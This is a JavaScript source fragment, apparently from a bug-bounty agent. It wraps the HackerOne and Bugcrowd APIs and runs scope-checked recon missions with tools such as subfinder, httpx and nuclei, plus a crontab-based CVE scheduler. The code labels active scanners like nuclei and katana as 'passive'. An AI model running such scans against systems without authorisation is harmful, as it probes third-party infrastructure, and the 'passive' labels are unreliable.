= parts[0]?.toLowerCase(); const args = parts.slice(1); // Help/list work without API key if (!cmd || cmd === "help" || cmd === "list") { return `🏴‍☠️ HackerOne Tool Usage: @hackerone [args] Commands: programs — List your programs scope — Get scope (in/out of scope) for a program reports [state] — List reports (states: new, triaged, resolved, all) report — Get full report details submit <severity> <details> — Submit draft report me — Show authenticated user info test — Test authentication (read-only) Examples: @hackerone programs @hackerone scope acme-corp @hackerone reports acme-corp triaged @hackerone report 1234567 @hackerone submit acme-corp "XSS in login" high "Reflected XSS at /login?next=..." @hackerone test`; } // Get credentials from env or config const username = process.env.HACKERONE_API_USERNAME || cfg.HACKERONE_API_USERNAME || cfg.hackerone_api_username; const token = process.env.HACKERONE_API_TOKEN || cfg.HACKERONE_API_TOKEN || cfg.hackerone_api_token; if (!username || !token) { return `[hackerone] Set HACKERONE_API_USERNAME and HACKERONE_API_TOKEN Usage: @config|set HACKERONE_API_USERNAME your_token_identifier @config|set HACKERONE_API_TOKEN your_token_value Or set env vars HACKERONE_API_USERNAME and HACKERONE_API_TOKEN`; } const base = "https://api.hackerone.com/v1"; const auth = "Basic " + Buffer.from(`${username}:${token}`).toString("base64"); const headers = { "Authorization": auth, "Accept": "application/json" }; async function h1Fetch(path, options = {}) { const r = await fetch(`${base}${path}`, { headers, signal: AbortSignal.timeout(20000), ...options }); if (!r.ok) { const err = await r.text().catch(() => ""); throw new Error(`HTTP ${r.status}: ${err}`); } return r.json(); } if (cmd === "test") { try { const d = await h1Fetch("/hackers/me/reports"); return `[hackerone] Auth test: HTTP 200 OK — authenticated successfully`; } catch (e) { return `[hackerone] Auth test failed: ${e.message}`; } } if (cmd === "me") { try { const d = await h1Fetch("/hackers/me"); const u = d.data?.attributes || {}; return `👤 ${u.username} (${u.name || "N/A"}) — ${u.profile_url || "N/A"}\\nSignal: ${u.signal || "?"} | Reputation: ${u.reputation || "?"} | Impact: ${u.impact || "?"}`; } catch (e) { // Fallback: try to get info from reports endpoint try { const d = await h1Fetch("/hackers/me/reports?page[size]=1"); return `👤 Authenticated (token works for reports)\\nFull profile access may require additional permissions.`; } catch { return `[hackerone] Auth works for reports but /hackers/me requires additional permissions: ${e.message}`; } } } if (cmd === "programs") { const d = await h1Fetch("/hackers/programs"); const progs = d.data || []; if (!progs.length) return "[hackerone] No programs found"; return progs.map(p => { const a = p.attributes || {}; return ` ${a.handle} — ${a.name} (${a.state}) | ${a.offers_bounties ? "💰" : "🏅"} | ${a.url}`; }).join("\\n"); } if (cmd === "scope") { const handle = args[0]; if (!handle) return "[hackerone] Usage: @hackerone scope <program_handle>"; const d = await h1Fetch(`/hackers/programs/${handle}/structured_scopes`); const scopes = d.data || []; if (!scopes.length) return `[hackerone] No structured scopes for ${handle}`; const inScope = scopes.filter(s => s.attributes?.eligible_for_bounty === true && s.attributes?.eligible_for_submission === true); const outScope = scopes.filter(s => s.attributes?.eligible_for_bounty === false || s.attributes?.eligible_for_submission === false); let out = `🎯 Scope for ${handle}\\n`; if (inScope.length) { out += "\\n✅ IN SCOPE (bounty eligible):\\n" + inScope.map(s => { const a = s.attributes || {}; return ` ${a.asset_identifier} (${a.asset_type}) — ${a.instruction || "No instructions"} [max severity: ${a.max_severity || "?"}]`; }).join("\\n"); } if (outScope.length) { out += "\\n❌ OUT OF SCOPE:\\n" + outScope.map(s => { const a = s.attributes || {}; return ` ${a.asset_identifier} (${a.asset_type}) — ${a.instruction || "Not eligible"}`; }).join("\\n"); } return out; } if (cmd === "reports") { const handle = args[0]; const state = args[1] || "all"; if (!handle) return "[hackerone] Usage: @hackerone reports <program_handle> [state]"; const stateParam = state === "all" ? "" : `&filter[state]=${state}`; const d = await h1Fetch(`/hackers/programs/${handle}/reports?page[size]=20${stateParam}`); const reports = d.data || []; if (!reports.length) return `[hackerone] No reports for ${handle} (state: ${state})`; return reports.map(r => { const a = r.attributes || {}; return ` #${r.id} — ${a.title} | ${a.severity_rating || a.severity || "?"} | ${a.state} | ${a.created_at}`; }).join("\\n"); } if (cmd === "report") { const id = args[0]; if (!id) return "[hackerone] Usage: @hackerone report <report_id>"; const d = await h1Fetch(`/reports/${id}`); const r = d.data?.attributes || {}; const rel = d.included || []; const program = rel.find(x => x.type === "program")?.attributes?.handle || "?"; return `📋 Report #${id} (${program}) Title: ${r.title} State: ${r.state} | Severity: ${r.severity_rating || r.severity || "?"} Assigned: ${r.assignee?.attributes?.username || "unassigned"} Created: ${r.created_at} Updated: ${r.updated_at} Weakness: ${r.weakness?.name || "N/A"} ${r.vulnerability_information ? r.vulnerability_information.substring(0, 2000) : "(no details)"}`; } if (cmd === "submit") { const handle = args[0]; const title = args[1]; const severity = args[2]; const details = args.slice(3).join(" "); if (!handle || !title || !severity || !details) { return "[hackerone] Usage: @hackerone submit <handle> <title> <severity> <details>\\nSeverity: critical, high, medium, low, none"; } const body = JSON.stringify({ data: { type: "report", attributes: { title, vulnerability_information: details, severity_rating: severity.toLowerCase(), program: { data: { type: "program", attributes: { handle } } } } } }); const d = await h1Fetch("/reports", { method: "POST", headers: { ...headers, "Content-Type": "application/json" }, body }); return `✅ Report submitted: #${d.data?.id} — ${d.data?.attributes?.title} (${d.data?.attributes?.state})`; } return `[hackerone] Unknown command: ${cmd}. Use @hackerone help`; } catch (e) { return `[hackerone Error] ${e.message}`; } }, // ── BUGCROWD BUG BOUNTY TOOL ── bugcrowd: async (input) => { try { const { resolve:presolve } = await import("path"); const usbConfigPath = presolve(new URL(".", import.meta.url).pathname, "..", "config.json"); const systemConfigPath = presolve(BASE_DIR, "config.json"); function deepMerge(target, source) { const result = { ...target }; for (const key of Object.keys(source)) { if (source[key] && typeof source[key] === "object" && !Array.isArray(source[key]) && target[key] && typeof target[key] === "object" && !Array.isArray(target[key])) { result[key] = deepMerge(target[key], source[key]); } else { result[key] = source[key]; } } return result; } let projectConfig = {}; for (const cfgPath of [usbConfigPath]) { try { if (fs.existsSync(cfgPath)) { projectConfig = JSON.parse(fs.readFileSync(cfgPath, "utf-8")); break; } } catch {} } let userConfig = {}; for (const cfgPath of [systemConfigPath]) { try { if (fs.existsSync(cfgPath)) { userConfig = JSON.parse(fs.readFileSync(cfgPath, "utf-8")); break; } } catch {} } let cfg = deepMerge(projectConfig, userConfig); const parts = (input || "").trim().split(/\s+/); const cmd = parts[0]?.toLowerCase(); const args = parts.slice(1); if (!cmd || cmd === "help" || cmd === "list") { return `🐛 Bugcrowd Tool Usage: @bugcrowd <command> [args] Commands: programs — List your programs scope <program_uuid> — Get scope (targets) for a program submissions <program_uuid> — List submissions (states: new, triaged, resolved, all) submission <id> — Get full submission details me — Show authenticated user info test — Test authentication (read-only) Examples: @bugcrowd programs @bugcrowd scope 12345678-1234-1234-1234-123456789012 @bugcrowd submissions 12345678-1234-1234-1234-123456789012 triaged @bugcrowd submission 987654321 @bugcrowd test`; } const apiToken = process.env.BUGCROWD_API_TOKEN || cfg.BUGCROWD_API_TOKEN || cfg.bugcrowd_api_token; const username = process.env.BUGCROWD_API_USERNAME || cfg.BUGCROWD_API_USERNAME || cfg.bugcrowd_api_username || "token"; if (!apiToken) { return `[bugcrowd] Set BUGCROWD_API_TOKEN Usage: @config|set BUGCROWD_API_TOKEN your_api_token Or set env var BUGCROWD_API_TOKEN`; } const base = "https://bugcrowd.com/h/api/v1"; const auth = "Token " + apiToken; const headers = { "Authorization": auth, "Accept": "application/json", "User-Agent": "Phantom/0.2.0" }; async function bcFetch(path, options = {}) { const r = await fetch(`${base}${path}`, { headers, signal: AbortSignal.timeout(20000), ...options }); const contentType = r.headers.get("content-type") || ""; if (!contentType.includes("application/json")) { const text = await r.text().catch(() => ""); if (text.includes("<!DOCTYPE") || text.includes("<html")) { throw new Error(`API returned HTML instead of JSON. Bugcrowd API requires OAuth2/Okta authentication. Check if endpoint ${base}${path} is correct or if you need a different auth method.`); } throw new Error(`HTTP ${r.status}: ${text.slice(0, 200)}`); } if (!r.ok) { const err = await r.text().catch(() => ""); throw new Error(`HTTP ${r.status}: ${err}`); } return r.json(); } if (cmd === "test") { try { const d = await bcFetch("/user"); return `[bugcrowd] Auth test: HTTP 200 OK — authenticated as ${d.username || d.email || "user"}`; } catch (e) { return `[bugcrowd] Auth test failed: ${e.message}`; } } if (cmd === "me") { try { const d = await bcFetch("/user"); return `👤 ${d.username} (${d.email || "N/A"}) — ${d.name || "N/A"}\nResearcher since: ${d.created_at || "?"}`; } catch (e) { return `[bugcrowd] Error: ${e.message}`; } } if (cmd === "programs") { const d = await bcFetch("/programs"); const progs = d.programs || d.data || []; if (!progs.length) return "[bugcrowd] No programs found"; return progs.map(p => { return ` ${p.name} (${p.code}) — ${p.description?.substring(0, 60) || "No description"} | State: ${p.state} | ${p.url}`; }).join("\n"); } if (cmd === "scope") { const programUuid = args[0]; if (!programUuid) return "[bugcrowd] Usage: @bugcrowd scope <program_uuid>"; const d = await bcFetch(`/programs/${programUuid}/targets`); const targets = d.targets || d.data || []; if (!targets.length) return `[bugcrowd] No targets for ${programUuid}`; const inScope = targets.filter(t => t.in_scope === true); const outScope = targets.filter(t => t.in_scope === false); let out = `🎯 Scope for ${programUuid}\n`; if (inScope.length) { out += "\n✅ IN SCOPE:\n" + inScope.map(t => { return ` ${t.name} (${t.category}) — ${t.instructions || "No instructions"} [reward: ${t.max_payout || "?"}]`; }).join("\n"); } if (outScope.length) { out += "\n❌ OUT OF SCOPE:\n" + outScope.map(t => { return ` ${t.name} (${t.category}) — ${t.instructions || "Not eligible"}`; }).join("\n"); } return out; } if (cmd === "submissions") { const programUuid = args[0]; const state = args[1] || "all"; if (!programUuid) return "[bugcrowd] Usage: @bugcrowd submissions <program_uuid> [state]"; const stateParam = state === "all" ? "" : `&state=${state}`; const d = await bcFetch(`/programs/${programUuid}/submissions?per_page=20${stateParam}`); const subs = d.submissions || d.data || []; if (!subs.length) return `[bugcrowd] No submissions for ${programUuid} (state: ${state})`; return subs.map(s => { return ` #${s.id} — ${s.title} | ${s.vrt?.substring(0, 40) || "?"} | ${s.state} | ${s.created_at}`; }).join("\n"); } if (cmd === "submission") { const id = args[0]; if (!id) return "[bugcrowd] Usage: @bugcrowd submission <submission_id>"; const d = await bcFetch(`/submissions/${id}`); const s = d.submission || d.data || {}; return `📋 Submission #${id}\nTitle: ${s.title}\nState: ${s.state} | Priority: ${s.priority || "?"}\nVRT: ${s.vrt || "N/A"}\nProgram: ${s.program?.name || "?"}\nCreated: ${s.created_at}\n\n${s.description?.substring(0, 2000) || "(no details)"}`; } return `[bugcrowd] Unknown command: ${cmd}. Use @bugcrowd help`; } catch (e) { return `[bugcrowd Error] ${e.message}`; } }, // ── UNIFIED BUG BOUNTY TOOL (HackerOne + Bugcrowd) ── bugbounty: async (input) => { try { const parts = (input || "").trim().split(/\s+/); const platform = parts[0]?.toLowerCase(); const cmd = parts[1]?.toLowerCase(); const args = parts.slice(2).join(" "); if (!platform || platform === "help" || platform === "list") { return `🏴‍☠️ Bug Bounty Platforms (Unified) Usage: @bugbounty <platform> <command> [args] Platforms: hackerone, h1 — HackerOne bugcrowd, bc — Bugcrowd Examples: @bugbounty hackerone programs @bugbounty h1 scope acme-corp @bugbounty bugcrowd programs @bugcrowd bc scope 12345678-1234-1234-1234-123456789012 @bugbounty hackerone reports acme-corp triaged @bugbounty bugcrowd submissions 12345678-1234-1234-1234-123456789012 new Commands per platform: hackerone: programs, scope, reports, report, submit, me, test bugcrowd: programs, scope, submissions, submission, me, test Config (in config.json or env): HackerOne: HACKERONE_API_USERNAME + HACKERONE_API_TOKEN Bugcrowd: BUGCROWD_API_TOKEN (+ optional BUGCROWD_API_USERNAME)`; } if (platform === "hackerone" || platform === "h1") { const { hackerTools } = await import("./tools.mjs"); return hackerTools.hackerone(`${cmd} ${args}`.trim()); } if (platform === "bugcrowd" || platform === "bc") { const { hackerTools } = await import("./tools.mjs"); return hackerTools.bugcrowd(`${cmd} ${args}`.trim()); } return `[bugbounty] Unknown platform: ${platform}. Use: hackerone, bugcrowd`; } catch (e) { return `[bugbounty Error] ${e.message}`; } }, // ── AUTONOMOUS PASSIVE MISSION ORCHESTRATION ── mission: async (input) => { try { const parts = (input || "").trim().split(/\s+/); const cmd = parts[0]?.toLowerCase(); const missionArg = parts[1]; if (!cmd || cmd === "help" || cmd === "list") { const { listMissions } = await import("./mission.mjs"); const missions = listMissions(); if (missions.length === 0) { return `🎯 Mission Orchestration\nUsage: @mission <command> [args]\n\nCommands:\n auto <program_handle> — Create mission from HackerOne program & run passive recon\n list — List existing missions\n status <mission_id> — Show mission status\n summary <mission_id> — Generate final report\n pause <mission_id> — Pause running mission\n resume <mission_id> — Resume paused mission\n stop <mission_id> — Gracefully stop (allows resume)\n cancel <mission_id> — Cancel mission permanently\n\nExample:\n @mission auto cloudflare`; } return `🎯 Mission Orchestration\nUsage: @mission <command> [args]\n\nCommands:\n auto <program_handle> — Create mission from HackerOne program & run passive recon\n list — List existing missions\n status <mission_id> — Show mission status\n summary <mission_id> — Generate final report\n pause <mission_id> — Pause running mission\n resume <mission_id> — Resume paused mission\n stop <mission_id> — Gracefully stop (allows resume)\n cancel <mission_id> — Cancel mission permanently\n\nExisting missions:\n${missions.map(m => ` ${m.id} — ${m.programName} (${m.programHandle}) [${m.status}]`).join("\n")}\n\nExample:\n @mission auto cloudflare`; } if (cmd === "list") { const { listMissions } = await import("./mission.mjs"); const missions = listMissions(); if (missions.length === 0) return "No missions found"; return missions.map(m => ` ${m.id} — ${m.programName} (${m.programHandle}) [${m.status}]`).join("\n"); } if (!missionArg) { return `[mission] Usage: @mission <command> <mission_id|program_handle>`; } if (cmd === "auto") { // Check if missionArg is a mission ID (starts with "mission-") or a program handle const isMissionId = missionArg.startsWith("mission-"); if (isMissionId) { // Load existing mission const { loadMission } = await import("./mission.mjs"); const { generateReconPlan } = await import("./mission.mjs"); const { setExecutionState, EXEC_STATES, startRecon } = await import("./recon.mjs"); const mission = loadMission(missionArg); if (!mission) { return `[mission] Mission not found: ${missionArg}`; } // Verify valid HackerOne scope using existing Stage 1 scope guard if (!mission.scope || !mission.scope.inScope || mission.scope.inScope.length === 0) { return `[mission] No in-scope assets found for ${missionArg}. Cannot create auto plan.`; } // Create execution plan using existing recon planner const plan = generateReconPlan(mission); // Persist "auto" execution state for resume/pause/stop support setExecutionState(missionArg, EXEC_STATES.READY); // Update mission status to "auto-planned" const { updateMissionStatus } = await import("./mission.mjs"); updateMissionStatus(missionArg, "auto-planned"); // Execute passive recon using existing executor (phases 1-3) // This reuses lib/recon.mjs completely - no duplicated logic const findings = await startRecon(missionArg); // Generate summary const { generateReconSummary } = await import("./recon.mjs"); const summary = generateReconSummary(missionArg); return `✅ Mission ${missionArg} auto-planned and passive recon completed for ${mission.programName}\nIn-scope targets: ${mission.scope.inScope.length}\n\n${summary}`; } // Original behavior: create mission from HackerOne program handle const programHandle = missionArg; const { fetchProgramAndScope, createMission, saveMission } = await import("./mission.mjs"); const { startRecon } = await import("./recon.mjs"); // Fetch program and scope from HackerOne const { program, scope } = await fetchProgramAndScope(programHandle); if (scope.inScope.length === 0) { return `[mission] No in-scope assets found for ${programHandle}. Cannot create mission.`; } // Create mission const mission = createMission(program, scope); saveMission(mission); // Run passive recon (phases 1-3) const findings = await startRecon(mission.id); // Generate summary const { generateReconSummary } = await import("./recon.mjs"); const summary = generateReconSummary(mission.id); return `✅ Mission ${mission.id} created and passive recon completed for ${program.name}\nIn-scope targets: ${scope.inScope.length}\n\n${summary}`; } if (cmd === "status") { const { getExecutionState } = await import("./recon.mjs"); const state = getExecutionState(missionArg); return state ? `📊 ${missionArg}: ${state}` : `[mission] No execution state for ${missionArg}`; } if (cmd === "summary") { const { generateReconSummary } = await import("./recon.mjs"); return generateReconSummary(missionArg) || `[mission] Mission not found: ${missionArg}`; } if (cmd === "pause") { const { pauseRecon } = await import("./recon.mjs"); return pauseRecon(missionArg); } if (cmd === "resume") { const { resumeRecon } = await import("./recon.mjs"); return await resumeRecon(missionArg); } if (cmd === "stop") { const { stopRecon } = await import("./recon.mjs"); return stopRecon(missionArg); } if (cmd === "cancel") { const { cancelMission } = await import("./recon.mjs"); return cancelMission(missionArg); } if (cmd === "execute-next") { const { getNextAction } = await import("./recon-planner.mjs"); const { isInScope, normalizeTarget, loadMission } = await import("./mission.mjs"); const { getExecutionState, EXEC_STATES, transitionState, updateMissionStatus, appendActivity, ensureMissionDirs, saveResult, getResultKey, resultExists, loadExistingResult, saveError } = await import("./recon.mjs"); const mission = loadMission(missionArg); if (!mission) { return `[mission] Mission not found: ${missionArg}`; } // Check execution state - must be in reconnaissance or ready to continue const currentState = getExecutionState(missionArg); if (currentState === EXEC_STATES.PAUSED || currentState === EXEC_STATES.FAILED || currentState === EXEC_STATES.COMPLETED || currentState === EXEC_STATES.CANCELLED) { return `[mission] Cannot execute-next: mission is ${currentState}. Use resume or create new mission.`; } // Generate the next deterministic passive action using the planner const nextActionResult = getNextAction(missionArg); if (!nextActionResult.action) { return `[mission] No valid actions available: ${nextActionResult.reason}`; } const action = nextActionResult.action; const { target, tool, phase, technique } = action; // Stage 1 scope re-check - immediately re-verify target is in scope const missionObj = loadMission(missionArg); const scopeCheck = isInScope(target, missionObj); if (!scopeCheck.allowed) { // Record denial and do NOT contact target appendActivity(missionArg, { action: "scope_denied", phase, tool, target, reason: scopeCheck.reason, technique }); return `[mission] Target denied by Stage 1 scope guard: ${target} — ${scopeCheck.reason}. No action taken.`; } // Check for duplicate - has this action already been completed? const resultKey = getResultKey(phase, tool, target); if (resultExists(missionArg, resultKey)) { // Skip duplicate, try next action? No - per spec: do not select replacement automatically appendActivity(missionArg, { action: "duplicate_skipped", phase, tool, target, technique, reason: "Action already completed" }); return `[mission] Duplicate action skipped: ${tool} on ${target} (phase ${phase}) already completed.`; } // Ensure mission dirs exist ensureMissionDirs(missionArg); // Transition to reconnaissance if not already if (currentState !== EXEC_STATES.RECONNAISSANCE) { transitionState(missionArg, EXEC_STATES.RECONNAISSANCE); updateMissionStatus(missionArg, "reconnaissance"); appendActivity(missionArg, { action: "recon_start", phase }); } // Execute ONLY the existing passive recon tool/action // Map tool to actual function from tools.mjs const { subfinder, dnsx, httpx, nuclei, whatweb, tlsx, katana } = await import("./tools.mjs"); let toolFn; switch (tool) { case "subfinder": toolFn = subfinder; break; case "dnsx": toolFn = dnsx; break; case "httpx": toolFn = httpx; break; case "nuclei": toolFn = nuclei; break; case "whatweb": toolFn = whatweb; break; case "tlsx": toolFn = tlsx; break; case "katana": toolFn = katana; break; default: return `[mission] Unknown passive tool: ${tool}. Only passive recon tools allowed.`; } try { let result; // Execute the tool with appropriate arguments if (tool === "dnsx") { // dnsx expects subdomains as space-separated string // We need to get subdomains from previous subfinder results const existingSubs = loadExistingResult(missionArg, getResultKey(1, "subfinder", target)); if (existingSubs && existingSubs.result) { const subs = existingSubs.result.split("\n").filter(l => l.trim() && !l.startsWith("[")).slice(0, 50); if (subs.length > 0) { result = await toolFn(subs.join(" ")); } else { result = "(no subdomains to resolve)"; } } else { result = "(no prior subfinder results for dnsx)"; } } else { result = await toolFn(target); } // Persist the structured result through existing recon storage saveResult(missionArg, resultKey, { target, tool, result, phase, technique, timestamp: new Date().toISOString() }); appendActivity(missionArg, { action: "tool_complete", phase, tool, target, technique }); return `[mission] ✅ Executed ${tool} on ${target} (phase ${phase}, ${technique})\\nResult saved.\\n${result.substring(0, 500)}${result.length > 500 ? "..." : ""}`; } catch (e) { // Tool failure recovery - save error and continue saveError(missionArg, phase, tool, target, e); appendActivity(missionArg, { action: "tool_error", phase, tool, target, error: String(e), technique }); return `[mission] Tool ${tool} failed on ${target}: ${e.message}. Error recorded, mission can continue.`; } } return `[mission] Unknown command: ${cmd}. Use @mission help`; } catch (e) { return `[mission Error] ${e.message}`; } }, // ── MISSION RECON — autonomous mission execution ── mission_recon: async (input) => { const { startRecon, pauseRecon, resumeRecon, cancelMission, stopRecon, getExecutionState, getExecutionSummary, generateReconSummary } = await import("./recon.mjs"); const parts = (input || "").trim().split(/\s+/); const cmd = parts[0]?.toLowerCase(); const missionId = parts[1]; if (!cmd || cmd === "help") { return `🎯 Mission Recon Execution Usage: @mission_recon <command> <mission_id> Commands: start <mission_id> — Start autonomous recon (phases 1-3) pause <mission_id> — Pause running recon resume <mission_id> — Resume paused/failed recon stop <mission_id> — Gracefully stop recon (allows resume) cancel <mission_id> — Cancel mission permanently status <mission_id> — Show execution state summary <mission_id> — Generate final report Examples: @mission_recon start mission-abc123 @mission_recon pause mission-abc123 @mission_recon summary mission-abc123`; } if (!missionId) return `[mission_recon] Usage: @mission_recon <command> <mission_id>`; if (cmd === "start") { try { const findings = await startRecon(missionId); const summary = generateReconSummary(missionId); return `✅ Reconnaissance started for ${missionId}\nCompleted ${findings.length} findings across 3 phases.\n${summary}`; } catch (e) { return `[mission_recon] ${e.message}`; } } if (cmd === "pause") { try { return `⏸️ ${pauseRecon(missionId).message || "Paused"} — State: ${pauseRecon(missionId).state}`; } catch (e) { return `[mission_recon] ${e.message}`; } } if (cmd === "resume") { try { const findings = await resumeRecon(missionId); return `▶️ Resumed ${missionId} — ${findings.length} findings`; } catch (e) { return `[mission_recon] ${e.message}`; } } if (cmd === "stop") { try { const result = stopRecon(missionId); return result.success ? `🛑 ${result.message} — State: ${result.state}` : `ℹ️ ${result.message}`; } catch (e) { return `[mission_recon] ${e.message}`; } } if (cmd === "cancel") { try { const result = cancelMission(missionId); return `❌ Mission ${missionId} cancelled — State: ${result.state}`; } catch (e) { return `[mission_recon] ${e.message}`; } } if (cmd === "status") { try { const state = getExecutionState(missionId); return state ? `📊 ${missionId}: ${state}` : `[mission_recon] No execution state`; } catch (e) { return `[mission_recon] ${e.message}`; } } if (cmd === "summary") { try { const summary = generateReconSummary(missionId); return summary || `[mission_recon] Mission not found`; } catch (e) { return `[mission_recon] ${e.message}`; } } return `[mission_recon] Unknown command: ${cmd}. Use @mission_recon help`; }, // ── RECON ANALYSIS — analyze persisted recon results ── recon_analyze: async (input) => { try { const { analyzeMission, analyzeAndSummarize, loadLearning, loadSummary, listLearnings, getLearningStats } = await import("./recon-analysis.mjs"); const parts = (input || "").trim().split(/\s+/); const cmd = parts[0]?.toLowerCase(); const missionId = parts[1]; if (!cmd || cmd === "help") { return `📊 Recon Analysis\nUsage: @recon_analyze <command> [mission_id]\n\nCommands:\n run <mission_id> — Analyze persisted recon results & generate learning\n summary <mission_id> — Show summary of observations\n learning <mission_id> — Show extracted learning\n list — List all analyzed missions\n stats — Aggregate learning stats across missions\n\nExample:\n @recon_analyze run mission-abc123`; } if (cmd === "list") { const missions = listLearnings(); if (missions.length === 0) return "No analyzed missions yet"; return missions.map(m => ` ${m}`).join("\n"); } if (cmd === "stats") { const stats = getLearningStats(); return `📈 Learning Stats\nMissions analyzed: ${stats.totalMissions}\nSuccessful techniques: ${stats.successfulTechniques.join(", ") || "none"}\nFailed tools: ${stats.failedTools.join(", ") || "none"}\nDiscovery methods: ${stats.discoveryMethods.join(", ") || "none"}`; } if (!missionId) { return `[recon_analyze] Usage: @recon_analyze <command> <mission_id>`; } if (cmd === "run") { const { summary } = await analyzeMission(missionId); return analyzeAndSummarize(missionId); } if (cmd === "summary") { const summary = loadSummary(missionId); if (!summary) return `[recon_analyze] No summary for ${missionId}. Run 'run' first.`; return JSON.stringify(summary, null, 2); } if (cmd === "learning") { const learning = loadLearning(missionId); if (!learning) return `[recon_analyze] No learning for ${missionId}. Run 'run' first.`; return JSON.stringify(learning, null, 2); } return `[recon_analyze] Unknown command: ${cmd}. Use @recon_analyze help`; } catch (e) { return `[recon_analyze Error] ${e.message}`; } }, // ── RECON INTELLIGENCE — read-only mission intelligence ── recon_intelligence: async (input) => { try { const { getMissionIntelligence, formatIntelligenceReport } = await import("./recon-intelligence.mjs"); const parts = (input || "").trim().split(/\s+/); const cmd = parts[0]?.toLowerCase(); const missionId = parts[1]; if (!cmd || cmd === "help") { return `🧠 Recon Intelligence\nUsage: @recon_intelligence <command> [mission_id]\n\nCommands:\n report <mission_id> — Full intelligence report (default)\n summary <mission_id> — JSON observation summary\n tech <mission_id> — Technology summary\n http <mission_id> — HTTP services summary\n dns <mission_id> — DNS records summary\n security <mission_id> — Security metadata summary\n learned <mission_id> — Learned techniques/failures\n actions <mission_id> — Recommended next passive actions\n global — Global learning stats across all missions\n\nExample:\n @recon_intelligence report mission-abc123`; } if (cmd === "global") { const { getGlobalLearningStats } = await import("./recon-intelligence.mjs"); const stats = getGlobalLearningStats(); return `📈 Global Learning Stats\nMissions analyzed: ${stats.missionsAnalyzed}\nSuccessful techniques: ${Object.entries(stats.successfulTechniques).map(([k,v]) => `${k}:${v}`).join(", ") || "none"}\nTool failure rates: ${Object.entries(stats.toolFailures).map(([k,v]) => `${k}:${v}`).join(", ") || "none"}\nAvg duration: ${stats.averageDuration ? Math.round(stats.averageDuration) + "ms" : "n/a"}`; } if (!missionId) { return `[recon_intelligence] Usage: @recon_intelligence <command> <mission_id>`; } if (cmd === "summary") { const { getMissionObservationSummary } = await import("./recon-intelligence.mjs"); const summary = getMissionObservationSummary(missionId); return JSON.stringify(summary, null, 2); } if (cmd === "tech") { const { getTechnologySummary } = await import("./recon-intelligence.mjs"); return JSON.stringify(getTechnologySummary(missionId), null, 2); } if (cmd === "http") { const { getHttpSummary } = await import("./recon-intelligence.mjs"); return JSON.stringify(getHttpSummary(missionId), null, 2); } if (cmd === "dns") { const { getDnsSummary } = await import("./recon-intelligence.mjs"); return JSON.stringify(getDnsSummary(missionId), null, 2); } if (cmd === "security") { const { getSecurityMetadataSummary } = await import("./recon-intelligence.mjs"); return JSON.stringify(getSecurityMetadataSummary(missionId), null, 2); } if (cmd === "learned") { const { getLearnedSummary } = await import("./recon-intelligence.mjs"); return JSON.stringify(getLearnedSummary(missionId), null, 2); } if (cmd === "actions") { const { getRecommendedNextActions } = await import("./recon-intelligence.mjs"); return JSON.stringify(getRecommendedNextActions(missionId), null, 2); } if (cmd === "report") { const { formatIntelligenceReport } = await import("./recon-intelligence.mjs"); return formatIntelligenceReport(missionId); } return `[recon_intelligence] Unknown command: ${cmd}. Use @recon_intelligence help`; } catch (e) { return `[recon_intelligence Error] ${e.message}`; } }, // ── MISSION PLANNER — deterministic passive next-action planner ── mission_next: async (input) => { try { const { getMissionPlan, getNextAction, getAllPlannedActions } = await import("./recon-planner.mjs"); const parts = (input || "").trim().split(/\s+/); const cmd = parts[0]?.toLowerCase(); const missionId = parts[1]; if (!cmd || cmd === "help") { return `🎯 Mission Next-Action Planner\nUsage: @mission_next <command> [mission_id]\n\nCommands:\n plan <mission_id> — Full ranked action plan (JSON)\n next <mission_id> — Single highest-priority action\n actions <mission_id> — All planned actions (alias for plan)\n\nExample:\n @mission_next next mission-abc123`; } if (!missionId) { return `[mission_next] Usage: @mission_next <command> <mission_id>`; } if (cmd === "plan" || cmd === "actions") { const plan = getAllPlannedActions(missionId); return JSON.stringify(plan, null, 2); } if (cmd === "next") { const next = getNextAction(missionId); return JSON.stringify(next, null, 2); } return `[mission_next] Unknown command: ${cmd}. Use @mission_next help`; } catch (e) { return `[mission_next Error] ${e.message}`; } }, // ── CRON — schedule periodic tasks ── cron: async (input) => { try { const { execFileSync } = await import("child_process"); if (!input || !input.trim()) { // List existing crons (from crontab or internal scheduler) try { const out = execFileSync("sh", ["-c", "crontab -l 2>/dev/null || echo 'no crontab'"], { timeout: 5000 }); return `[cron] ${out.toString().trim()}`; } catch { return "[cron] Usage: schedule|cve|cve_daily — manage periodic tasks"; } } const cmd = input.trim().toLowerCase(); if (cmd === "cve" || cmd === "cve_now") { return `[cron] Running CVE scan now. Use @shell to trigger or set up @cron|cve_daily for daily automation.`; } if (cmd === "cve_daily") { // Schedule via crontab or internal cron const script = `#!/bin/sh\ncd ${process.cwd()} && node phantom.mjs --tool cve_search "2025" 2>&1 | head -50`; const scriptPath = resolve("./.hermes/scripts/cve_daily.sh"); if (!fs.existsSync(resolve("./.hermes/scripts"))) fs.mkdirSync(resolve("./.hermes/scripts"), { recursive: true }); fs.writeFileSync(scriptPath, script, "utf-8"); try { execFileSync("sh", ["-c", `(crontab -l 2>/dev/null; echo "0 9 * * * ${scriptPath}") | crontab -`], { timeout: 10000 }); return `[cron] ✓ CVE daily scan scheduled at 09:00. Script: ${scriptPath}`; } catch { return `[cron] Crontab not available. Script saved: ${scriptPath}\n Install manually: crontab -e and add:\n 0 9 * * * ${scriptPath}`; } } return `[cron] Commands: cve_now, cve_daily`; } catch (e) { return `[cron Error] ${e.message}`; } }, };